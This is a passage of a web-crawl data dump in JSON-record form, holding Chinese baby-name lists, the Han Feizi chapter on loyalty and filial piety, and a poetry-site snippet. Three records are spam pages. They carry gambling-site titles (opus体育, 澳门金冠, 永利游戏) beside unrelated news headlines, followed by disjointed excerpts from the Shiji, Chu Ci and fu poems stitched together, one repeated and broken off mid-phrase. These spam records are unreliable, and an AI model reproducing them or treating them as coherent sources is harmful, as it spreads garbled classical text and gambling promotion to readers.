魏柏文 魏科红 魏昕颖 魏其梅 魏兴艳 魏远芳 魏玉芬 魏光雪 魏沛琳 魏娅颖 魏梦琳 魏彩怡 魏秋怡 魏燕友 魏惠文 魏仙倩 魏雪芬 魏加颖 魏楷文 魏耀红 魏丹霞 魏长霞 魏莉琼 魏慧婷 魏纤娟 魏绍玲 魏婧雅 魏余芳 魏蜀婷 魏姿琼 魏梓琼 魏妍姬 魏睫妍 魏子琼 魏文霞 魏琦婵 魏琦瑶 魏睫媛 魏睫怡 魏琪琴 魏梦蓉 魏梦婵 魏梦茹 魏田芳 魏肖玲 魏笑玲 魏潇玲 魏筱玲 魏潇琳 魏加琳 魏本娟 魏学艳 魏伟玲 魏利莹 魏常红 魏亭红 魏保红 魏宝红 魏歆红 魏昕红 魏馨红 魏忻红 魏鑫红 魏欣红 魏仪红 魏伊红 魏饴红 魏翼红 魏泓红 魏荭红","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/www.j681.cn\/show_A00.aspx","date":"2019-05-26T14:22:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232259177.93\/warc\/CC-MAIN-20190526125236-20190526151236-00038.warc.gz","language":"lzh","language_score":0.9937136769,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.9937136769294739}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":1} +{"text":"韓非子\/忠考\n|顯學 ◄||韓非子\n\n\n忠孝\n|► 人主|\n天下皆以孝悌忠順之道為是也,而莫知察孝悌忠順之道而審行之,是以天下亂。皆以堯舜之道為是而法之,是以有弒君,有曲於父。堯、舜、湯、武或反君臣之義,亂後世之教者也。堯為人君而君其臣,舜為人臣有臣其君,湯、武為人臣而弒其主,刑其尸,而天下譽之,此天下所以至今不治者也。夫所謂明君者,能畜其臣者也;所謂賢臣者,能明法辟,治官職,以戴其君者也。今堯自以為明而不能以畜舜,舜自以為賢而不能以戴堯,湯、武自以為義而弒其君長,此明君且常與,而賢臣且常取也。故至今為人子者有取其父之家,為人臣者有取其君之國者矣。父而讓子,君而讓臣,此非所以定位一教之道也。臣之所聞曰:「臣事君,子事父,妻事夫。三者順則天下治,三者逆則天下亂。此天下之常道也。」明王賢臣而弗易也,則人主雖不肖,臣不敢侵也。今夫上賢任智無常,逆道也,而天下常以為治。是故田氏奪呂氏於齊,戴氏奪子氏於宋。此皆賢且智也,豈愚且不肖乎?是廢常上賢則亂,舍法任智則危。故曰:上法而不上賢。\n記曰:「舜見瞽瞍,其容造焉。孔子曰:『當是時也,危哉!天下岌岌!有道者,父固不得而子,君固不得而臣也。』」臣曰:孔子本未知孝悌忠順之道也。然則有道者,進不為主臣,退不為父子耶?父之所以欲有賢子者,家貧則富之,父苦則樂之;君之所以欲有賢臣者,國亂則治之,主卑則尊之。今有賢子而不為父,則父之處家也苦;有賢臣而不為君,則君之處位也危。然則父有賢子,君有賢臣,適足以為害耳,豈得利焉哉?所謂忠臣,不危其君;孝子,不非其親。今舜以賢取君之國,而湯、武以義放弒其君,此皆以賢而危主者也,而天下賢之。古之烈士,進不臣君,退不為家,是進則非其君,退則非其親者也。且夫進不臣君,退不為家,亂世絕嗣之道也。是故賢堯、舜、湯、武而是烈士,天下之亂術也。瞽瞍為舜父,而舜放之;象為舜弟而殺之。放父殺弟,不可謂仁;妻帝二女而取天下,不可謂義。仁義無有,不可謂明。《詩》云:「普天之下,莫非王土;率土之濱,莫非王臣。」信若《詩》之言也,是舜出則臣其君,入則臣其父,妾其母,妻其主女也。故烈士內不為家,亂世絕嗣;而外矯於君,朽骨爛肉,施於土地,流於川谷,不避蹈水火。使天下從而效之,是天下徧死而願夭也。此皆釋世而不治是也。世之所為烈士者,離眾獨行,取異於人,為恬淡之學而理恍惚之言。臣以為恬淡,無用之教也;恍惚,無法之言也。言出於無法,教出於無用者,天下謂之察。臣以為人生必事君養親,事君養親不可以恬淡;治人必以言論忠信法術,言論忠信法術不可以恍惚。恍惚之言,恬淡之學,天下之惑術也。孝子之事父也,非競取父之家也;忠臣之事君也,非競取君之國也。夫為人子而常譽他人之親曰:「某子之親,夜寢早起,強力生財以養子孫臣妾。」是誹謗其親者也。為人臣常譽先王之德厚而願之,是誹謗其君者也。非其親者知謂之不孝,而非其君者天下皆賢之,此所以亂也。故人臣毋稱堯、舜之賢,毋譽湯、武之伐,毋言烈士之高,盡力守法,專心於事主者為忠臣。\n古者黔首悗密惷愚,故可以虛名取也。今民儇詗智慧,欲自用,不聽上。上必且勸之以賞,然後可進;又且畏之以罰,然後不敢退。而世皆曰:「許由讓天下,賞不足以勸;盜跖犯刑赴難,罰不足以禁。」臣曰:未有天下而無以天下為者,許由是也;已有天下而無以天下為者,堯舜是也;毀廉求財,犯刑趨利,忘身之死者,盜跖是也。此二者,殆物也。治國用民之道也,不以此二者為量。治也者,治常者也;道也者,道常者也。殆物妙言,治之害也。天下太上之士,不可以賞勸也;天下太下之士,不可以刑禁也。然為太上士不設賞,為太下士不設刑,則治國用民之道失矣。\n故世人多不言國法而言從橫。諸侯言從者曰:「從成必霸。」而言橫者曰:「橫成必王。」山東之言從橫,未嘗一日而止也,然而功名不成,霸王不立者,虛言非所以成治也。王者獨行謂之王,是以三王不務離合而正,五霸不待從橫而察,治內以裁外而已矣。","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/zh.wikisource.org\/wiki\/%E9%9F%93%E9%9D%9E%E5%AD%90\/%E5%BF%A0%E8%80%83","date":"2019-06-26T13:59:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560628000353.82\/warc\/CC-MAIN-20190626134339-20190626160339-00230.warc.gz","language":"lzh","language_score":0.5355315804,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.5355315804481506, \"cmn_Hani_score\": 0.3955165147781372, \"nan_Hani_score\": 0.04875855892896652, \"wuu_Hani_score\": 0.01228781696408987}","num_words":9,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.661,"perplexity_score":500.0,"cluster_detection":1} +{"text":"作者:\n高适 李白 白居易 杜甫 苏轼 辛弃疾 李清照 王维 刘禹锡 纳兰性德 李商隐 杜牧 陆游 陶渊明 孟浩然 李煜 元稹 柳宗元 韩愈 王安石 欧阳修 岑参 贾岛 韦应物 曹操 柳永 温庭筠 李贺 刘长卿 王昌龄 曹植 张籍 孟郊 杨万里 诸葛亮 屈原 王勃 范仲淹 晏殊 晏几道 周邦彦 秦观 朱熹 马致远 左丘明 黄庭坚 司马迁\n燕歌行 开元二十六年,客有从御史大夫张公出塞而还者;作《燕歌行》以示适,感征戍之事,因而和焉。 汉家烟尘在东北,汉将辞家破残贼。男儿本自重横行,天子非常赐颜色。摐金伐鼓下榆关,旌旆逶迤碣石间。校尉羽书飞瀚...\n微信扫一扫,访问小程序","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/zzjjt.tw\/index$&poet_id=ZMa5dk8dGU&poet_idLabel=%E9%AB%98%E9%80%82.htm","date":"2020-01-25T06:24:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251669967.70\/warc\/CC-MAIN-20200125041318-20200125070318-00466.warc.gz","language":"lzh","language_score":0.7319608927,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.7319608926773071, \"cmn_Hani_score\": 0.22932258248329163, \"nan_Hani_score\": 0.022198237478733063, \"wuu_Hani_score\": 0.010057465173304081}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.86,"perplexity_score":500.0,"cluster_detection":1} +{"text":"opus体育平台特写新冠肺炎康复者的特殊申请书\n怀王元年,张仪始相秦惠王。四年,秦惠王初称王。\n三十六年,顷襄王病,太子亡归。秋,顷襄王卒,太子熊元代立,是为考烈王。考烈王以左徒为令尹,封以吴,号春申君。\n日变脩德,月变省刑,星变结和。凡天变,过度乃占。国君彊大,有德者昌;羽小,饰诈者亡。太上脩德,其次脩政,其次脩救,其次脩禳,正下无之。夫常星之变希见,而三光之占亟用。日月晕適,云风,此天之客气,其发见亦有大运。然其与政事俯仰,最近人之符。此五者,天之感动。为天数者,必通三五。终始古今,深观时变,察其精粗,则天官备矣。\n孔子生鲤,字伯鱼。伯鱼年五十,先孔子死。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/ytdpl.zq358.com\/ZKVCK65112.html","date":"2020-02-25T10:12:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146064.76\/warc\/CC-MAIN-20200225080028-20200225110028-00060.warc.gz","language":"lzh","language_score":0.5661734939,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5661734938621521, \"cmn_Hani_score\": 0.22685332596302032, \"nan_Hani_score\": 0.10315556824207306, \"wuu_Hani_score\": 0.025494562461972237, \"yue_Hani_score\": 0.018563607707619667}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.179,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.436,"perplexity_score":500.0,"cluster_detection":1} +{"text":"澳门金冠湖南公开宣判六起涉疫情犯罪案件6人获刑\n自淳维以至头曼千有馀岁,时大时小,别散分离,尚矣,其世传不可得而次云。然至冒顿而匈奴最彊大,尽服从北夷,而南与中国为敌国,其世传国官号乃可得而记云。\n侯齐四年,楚惠王灭蔡,蔡侯齐亡,蔡遂绝祀。後陈灭三十三年。\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故\n其後,天子苑有白鹿,以其皮为币,以发瑞应,造白金焉。\n是故大人举礼乐,则天地将为昭焉。天地欣合,阴阳相得,煦妪覆育万物,然后草木茂,区萌达,羽翮奋,角","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/jmrpm.bds-associates.com\/MFJXR54971.html","date":"2020-02-27T23:48:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146907.86\/warc\/CC-MAIN-20200227221724-20200228011724-00104.warc.gz","language":"lzh","language_score":0.5755884647,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5755884647369385, \"cmn_Hani_score\": 0.27520933747291565, \"yue_Hani_score\": 0.02686516009271145, \"nan_Hani_score\": 0.022230269387364388, \"zxx_Latn_score\": 0.01709100604057312}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.38,"perplexity_score":500.0,"cluster_detection":1} +{"text":"蒸湘福连升老北京布鞋、休闲鞋品牌加盟店信息和蒸湘鞋店加盟方法介绍。\n河南 周口 信阳 羊山新区 攸县 湖南 株洲 郑州 安徽 宣城 泾县 四川 宜宾 高县 贵州 兴仁 湖北 咸宁 商丘 夏邑 河北 唐山 天长 滁州 都江堰 鹿邑 太仓 江苏 双流 万安","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/www.jjztxt.cn\/tags.php?\/1414\/","date":"2020-02-28T20:30:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875147647.2\/warc\/CC-MAIN-20200228200903-20200228230903-00306.warc.gz","language":"lzh","language_score":0.9588703513,"language_script":"Hani","minhash_cluster_size":36,"top_langs":"{\"lzh_Hani_score\": 0.9588703513145447, \"cmn_Hani_score\": 0.03682001307606697}","num_words":31,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.959,"perplexity_score":500.0,"cluster_detection":1} +{"text":"永利游戏网站价格战剑指页岩油三方联合减产或是大势所趋\n懿公之立,骄,民不附。齐人废其子而迎公子元於卫,立之,是为惠公。惠公,桓公子也。其母卫女,曰少卫姬,避齐乱,故在卫。\n子曰:\"三年学,不至于谷,不易得也。\"\n唐叔子燮,是为晋侯。晋侯子宁族,是为武侯。武侯之子服人,是为成侯。成侯子福,是为厉侯。厉侯之子宜臼,是为靖侯。靖侯已来,年纪可推。自唐叔至靖侯五世,无其年数。\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故\n中元年,封故御史大夫周苛孙平为绳侯,故御史大夫周昌左车为安阳侯,四月乙巳,赦天下,赐爵一级。除禁锢。地动。衡山、原都雨雹,大者尺八寸。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/nyqhp.bastroad.com\/","date":"2020-04-05T06:47:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370529375.49\/warc\/CC-MAIN-20200405053120-20200405083120-00491.warc.gz","language":"lzh","language_score":0.435644865,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.43564486503601074, \"cmn_Hani_score\": 0.382135272026062, \"wuu_Hani_score\": 0.06834060698747635, \"nan_Hani_score\": 0.0349678210914135, \"zxx_Latn_score\": 0.014254367910325527, \"jpn_Jpan_score\": 0.010563555173575878}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.187,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.301,"perplexity_score":500.0,"cluster_detection":1} +{"text":"莫姓男孩名字大全,男孩子的名字要體現出氣質和品味,一個好的名字能給孩子帶來好運,那麼,莫姓男孩名字應該怎麼起呢?下面就為大家提供莫姓男孩名字大全,希望可以幫助大家。\n莫開城 莫檸輝 莫雯韻 莫韻雯 莫绮茵 莫雯鑫 莫绮琪 莫麗冰 莫雯卿 莫靖雯 莫雯靖 莫雯兒 莫雯蔚 莫李雯 莫雯 莫濘寧 莫宇靜 莫朝慧 莫绮靜 莫绮軒 莫绮桐 莫文绮 莫绮童 莫靖绮 莫绮彤 莫绮素 莫绮靖 莫依靖 莫靖素 莫文素 莫文靜 莫高能 莫高達 莫志華 莫承桦 莫家希 莫艷雲 莫海浪 莫海智 莫海林 莫凱棠 莫竣棠 莫竣傑 莫竣堡 莫贻堡 莫翹徽 莫凱淇 莫瑞菲 莫金祥 莫剀霄 莫凡童 莫靖桐 莫靖瞳 莫粟興 莫子彤 莫彤童 莫童彤 莫善彤 莫宏慶 莫善童 莫喻童 莫崇洵 莫植樹 莫潤龍 莫蔚 莫瑜童 莫佳靖 莫詩乙 莫思彤 莫谙兒 莫仟靖 莫子靖 莫世傑 莫靜童 莫靖兒 莫思靖 莫靖 莫靖彤 莫靖童 莫祖祺 莫光勝 莫雙濱 莫美蓮 莫吉秀 莫彥茅 莫彥矛 莫會連 莫滿連 莫志權 莫之蛇 莫的蛇 莫蛇 莫國梁 莫記榴 莫雲鵬 莫少青 莫海武 莫惠康 莫偉斌 莫蔚藍 莫職溢 莫環福 莫鴻鋒 莫蔚璇 莫鳳珍 莫子娴 莫浩興 莫家興 莫斯烙 莫小烙 莫利烙 莫偉權 莫職華 莫凡聖 莫麗影 莫秀敏 莫明浩 莫明陽 莫忻澤 莫明錦 莫雨烨 莫武興 莫慶方 莫桂財 莫紹夏 莫棠浩 莫棠颢 莫模學 莫模澄 莫麗珂 莫承學 莫亞道 莫秉忱 莫沛初 莫忻學 莫沛澄 莫忱學 莫勝利 莫紅義 莫利寧 莫志 莫詠 莫雲鋒 莫雲楓 莫翰寧 莫康球 莫雲峰 莫耕言 莫蓓莘 莫蓓蕾 莫年春 莫林冰 莫冰冰 莫彬冰 莫可憂 莫林偉 莫清揚 莫韻涵 莫惑 莫海媚 莫健偉 莫維標 莫子佳 莫俊南 莫堅培 莫浩波 莫思齊 莫物 莫烙利 莫電 莫身個 莫佳睿 莫二 莫一 莫雨佳 莫蕊佳 莫妙蘭 莫奕強 莫偉傑 莫科輝 莫科晖 莫潔華 莫志林 莫歡歡 莫憂愁 莫永智 莫魁愁 莫魁憂 莫憂 莫爵波 莫翠菊 莫文聯 莫會新 莫雯岚 莫绮情 莫順泉 莫積柏 莫韻君 莫小熙 莫韻愈 莫克成 莫照定 莫思詩 莫梓童 莫詩兒 莫施童 莫童兒 莫思兒 莫思童 莫詩童 莫雨昕 莫炜琪 莫瀚 莫千勝 莫佳璐 莫家璐 莫家露 莫佳露 莫之豪 莫榮樂 莫偉華 莫會 莫遠會 莫遠利 莫吉凡 莫超 莫吉超 莫巨章 莫瓊蓮 莫群聯 莫純蓮 莫淳蓮 莫群秀 莫群蓮 莫家偉 莫振鈞 莫振宇 莫凡力 莫俊強 莫紫童 莫紫咚 莫紫佟 莫少茵 莫彥菁 莫佳童 莫依童 莫童 莫子璇 莫智硯 莫翔 莫皓 莫皓翔 莫本瀚 莫敏求 莫國威 莫建慶 莫本镡 莫本镪 莫本譯 莫本釋 莫本鐘 莫君佳 莫童佳 莫濤江 莫元熙 莫錦泷 莫心彤 莫子依 莫景 莫海鷗 莫嘉睿 莫家駿 莫家睿 莫斯 莫明建 莫雯迪 莫芷茗 莫桂順 莫曉雁 莫小雁 莫梓櫻 莫絢甯 莫絢 莫允開 莫征言 莫明儒 莫麗娴 莫沖 莫積嘉 莫湛平 莫豐華 莫東儒 莫明東 莫儒明 莫智才 莫文椅 莫文琦 莫榮活 莫玉清 莫佳琦","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/www.3322.online\/quming\/qmmj\/201612\/91952.html","date":"2020-09-28T17:36:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600401604940.65\/warc\/CC-MAIN-20200928171446-20200928201446-00784.warc.gz","language":"lzh","language_score":0.9859029651,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9859029650688171, \"nan_Hani_score\": 0.011163265444338322}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.986,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线起名\n「在线起名」姓名,蕴涵了人的精、气、神,传达着天地之玄机。姓名分析综合了八字和姓名五格、三才配置、81数理来解析姓名。\n史吖岙 史阿敏 史阿齐 史阿祺 史爱娣 史爱军 史爱兰 史爱炎 史爱元 史爱贞 史安航 史安郎 史安生 史八五 史百弘 史百万 史柏语 史邦本 史邦禾 史邦里 史孢砭 史宝宝 史宝峰 史宝辉 史宝杰 史宝骏 史宝坤 史宝莲 史宝霖 史宝佩 史宝晴 史宝瑞 史宝生 史宝亭 史宝庭 史宝维 史宝祥 史宝兴 史保生 史贝迪 史贝蒂 史贝宁 史贝琦 史蓓蓓 史本安 史本冲 史本兰 史本仁 史畚毫 史碧莲 史彬斌 史彬榕 史斌杰 史滨榕 史冰冰 史冰荔 史冰栗 史冰莅 史冰笠 史冰韬 史冰玺 史冰娴 史冰潆 史冰昱 史兵峰 史兵兰 史丙海 史拨宇 史波道 史伯卿 史帛欣 史帛宇 史博海 史博涵 史博恒 史博仁 史博闻 史博忻 史博欣 史博莘 史博新 史博歆 史博馨 史博兴 史博扬 史博余 史博虞 史博宇 史博羽 史博雨 史博禹 史博域 史博御 史博裕 史博圆 史博中 史步杰 史钚新 史才荣 史才新 史财兴 史灿林 史璨硕 史草凤 史策凡 史昌静 史长安 史长山 史长生 史长廷 史长元 史唱唱 史超涵 史超月 史朝辉 史朝阳 史朝中 史臣杨 史沉鑫 史辰鑫 史辰阳 史陈兵 史陈良 史陈阳 史陈洋 史宸瑞 史宸杨 史宸洋 史晨碧 史晨光 史晨珲 史晨军 史晨璐 史晨凝 史晨沁 史晨上 史晨旺 史晨薇 史晨纹 史晨夕 史晨汐 史晨溪 史晨熙 史晨熹 史晨羲 史晨曦 史晨玺 史晨忻 史晨昕 史晨馨 史晨鑫 史晨兴 史晨星 史晨鳕 史晨阳 史晨杨 史晨洋 史晨烨 史丞阳 史丞杨 史丞展 史成成 史成军 史成亮 史成名 史成阳 史成杨 史承充 史承代 史承秀 史承泽 史承祖 史诚良 史诚鑫 史诚阳 史城玮 史城逸 史程光 史程凯 史程熙 史程杨 史澄欣 史澄鑫 史澄渝 史驰宇 史迟瑞 史崇杰 史崇立 史崇良 史崇新 史崇宇 史初庭 史楚庭 史传蕊 史传新 史春蝶 史春玎 史春妃 史春绯 史春菲 史春霏 史春凤 史春芙 史春鸽 史春光 史春闺 史春函 史春涵 史春荷 史春鹤 史春虹 史春环 史春焕 史春辉 史春卉 史春荟 史春慧 史春江 史春娇 史春杰 史春婕 史春瑾 史春静 史春涓 史春鹃 史春珏 史春珂 史春岚 史春蕾 史春俐 史春林 史春麟 史春璐 史春淼 史春渺 史春民 史春明 史春宁 史春盼 史春茜 史春晴 史春秋 史春饶 史春生 史春笙 史春姝 史春霜 史春天 史春彤 史春婉 史春薇 史春伟 史春雯 史春晰 史春喜 史春香 史春湘 史春晓 史春昕 史春欣 史春馨 史春鑫 史春秀 史春焱 史春莺 史春宇 史春雨 史春禹 史春钰 史春鸳 史春增 史纯碧 史淳风 史崔莱 史崔岚 史萃莱 史存峰 史达翰 史达洋 史大爱 史大悲 史大波 史大忏 史大春 史大地 史大福 史大刚 史大工 史大公 史大功 史大宫 史大恭 史大躬 史大龚 史大拱 史大涵 史大娇 史大敬 史大觉 史大群 史大舍 史大天 史大为 史大伟 史大洋 史大佑 史大中 史呆子 史丹丹 史丹凤 史丹阳 史丹洋 史蛋丹 史党博 史道祖 史德丰 史德凤 史德刚 史德茂 史德玫 史德明 史德铭 史德强 史德申 史德生 史德菘 史德伟 史德轩 史登辉 史镝妃 史狄雯 史迪夫 史迪睿 史迪雯 史迪晓 史迪萱 史迪暄 史迪丫 史迪雅 史迪阳 史迪瑗 史迪云 史娣雯 史递雯 史蒂乐 史蒂雯 史丁丹 史丁丁 史丁曼 史丁勇 史定祥 史东长 史东方 史东杰 史东科 史东玫 史东森 史东升 史东朔 史东兴 史东阳 史东洋 史东昀 史冬冬 史栋心 史豆豆 史豆海 史多东 史多董 史多动 史多栋 史恩吉 史恩泰 史恩泽 史恩增 史二蛋 史二娇 史二龙 史二小 史发财 史发庆 史凡晨 史凡窈 史凡宇 史蹯刊 史芳绯 史芳敏 史芳囡 史芳宁 史芳玮 史芳宇 史芳羽 史飞扬 史菲菲 史菲阳 史翡萝 史丰歌 史丰光 史丰华 史丰嘉 史丰郡 史丰铭 史丰宁 史丰瑞 史丰硕 史丰烨 史丰瑜 史丰宇 史丰源 史风景 史风静 史枫灏 史峰羽 史峰章 史凤恩 史凤瑞 史凤香 史芙清 史祓辉 史祓漪 史福峰 史福祯 史富隆 史富盛 史富源 史馥容 史泔润 史矸玄 史刚榕 史纲浩 史纲华 史高社 史高生 史高松 史高雄 史艮儿 史更强 史更生 史耕熙 史耕耘 史公权 史恭敬 史够步 史够够 史冠华 史冠军 史冠君 史冠平 史冠玮 史光臣 史光辰 史光晨 史光浩 史光洪 史光辉 史光明 史光耀 史广良 史贵凤 史贵林 史桂嘉 史桂节 史桂礼 史桂林 史桂龙 史桂芹 史桂荣 史桂云 史国栋 史国锋 史国宏 史国华 史国辉 史国良 史国吣 史国庆 史国生 史国伟 史国新 史国选 史国印 史国勇 史国庄 史海滨 史海兵 史海波 史海翠 史海东 史海飞 史海凤 史海夫 史海海 史海华 史海华 史海霁 史海君 史海力 史海利 史海亮 史海民 史海明 史海平 史海朴 史海权 史海瑞 史海生 史海涛 史海新 史海旭 史海荥 史海永 史海勇 史海云 史海芝 史海竹 史海紫 史邗锡 史含轩 史晗月 史涵超 史涵轩 史涵一 史涵义 史涵翊 史涵翌 史涵意 史涵毅 史涵予 史涵妤 史涵钥 史焓锡 史寒冰 史寒亿 史韩彬 史韩滨 史韩锡 史韩曦 史韩玺 史韩轩 史汉雄","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/m.pc89.com\/xm-y1-63-3.html","date":"2021-09-21T11:02:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057202.68\/warc\/CC-MAIN-20210921101319-20210921131319-00115.warc.gz","language":"lzh","language_score":0.7715687752,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.771568775177002, \"cmn_Hani_score\": 0.14267414808273315, \"nan_Hani_score\": 0.05676036700606346, \"yue_Hani_score\": 0.025803739205002785}","num_words":542,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.772,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1.田姓女宝宝起名\n起名不容易,给你推荐几个好名字供参考,希望里面有你喜欢的名字:\n男孩名字:峻熙 (峻:高大威猛;熙:前途一片光明);明轩 (轩:气度不凡 );祥飞;晨皓;鸿涛 (鸿:旺盛,兴盛 );子君;丞浩;士洁;斌杰;万艺;\n女孩名字:凌薇(气势、朝气都凌人,薇,祝她将来成为一代名人);利佳;新兰;静香(文静,象明朝时期的香妃一样美丽,文雅,贞烈);钰彤 钰:美玉 彤:红色;心琪(琪是玉的意思。\"心琪\"就是形容心灵象玉一样美好);一涵;伶韵 (灵气逼人,韵味十足!);庆梅;梦洁(一个梦幻般的女孩,心地善良,纯洁);\n还要更多好名字,就关注我的其他答案吧。。呵呵 呵呵!!\n2.姓田的 女孩取什么名字好听\n田雅侠 田碧儒 田翰欣 田宏林 田晓雅 田杨宁 田家池 田宇欣 田瑞男 田盖菡 田一桃 田宣美 田耘芳 田尧悦 田婷玲 田雯环 田金琪 田凌涵 田燕牟 田金儿 田婧花 田道辉 田寒雯 田红洁 田雪林 田韵时 田小婷 田维涛 田一轩 田博林 田傲宇 田育春 田锦欣 田飞馨 田浩霏 田带妍 田文芳 田坛昆 田銮珊 田笑羽 田紫茹 田娅惠 田莎妍 田桂雁 田洁萍 田甜新 田喜渊 田一妙 田侃菲 田颖文 田思燕 田越婷 田品童 田英莹 田淑楠 田思灵 田炜龄 田紫心 田睿宁 田露婷 田小馨 田钰歌 田彩瑞 田栩婷 田仪风 田文帆 田晓曲 田红怡 田馨睿 田园煊 田家翠 田红乐 田瑞英 田吉怡 田丽温 田梓伟 田兰涵 田瑷焱 田晓羽 田思嘉 田嘉清 田译桂 田嘉怡 田丽襄 田芷遥 田怡格 田紫光 田伟麟 田筱涵 田佳霞 田一慧 田凤安 田小涵 田爱楷 田婉僖 田泽芝 田依怡 田薪晶 田曼宁 田予影 田司仪 田玉平 田晓雅 田佩好 田妍云 田思丽 田燕仪 田钰珊 田泽姬 田馥树 田韵遥 田樱遐 田钰红 田雨凡 田新英 田敬锋 田金颖 田运青 田云兰 田萧珂 田予娴 田秦辉 田岩丽 田秀翔 田素宁 田姝倩 田秀涵 田佳晶 田璐飞 田爱诩 田梓雅 田柳芬 田欣希 田天蓓 田函倩 田楚露 田欣文 田卓骏 田悠容 田红雯 田梦月 田紫霞 田桁烘 田青天 田云苏 田思欣 田春桐 田怡然 田瀚妍 田峪茜 田钟源 田钦珀 田瑞丫 田昔东 田晓馨 田海阳 田丽娴 田曼笔 田芯珍 田红阳 田梓然 田佳霞 田一涵 田荣琴 田俞芳 田芸童 田袖铭 田家嘉 田芳丽 田惠天 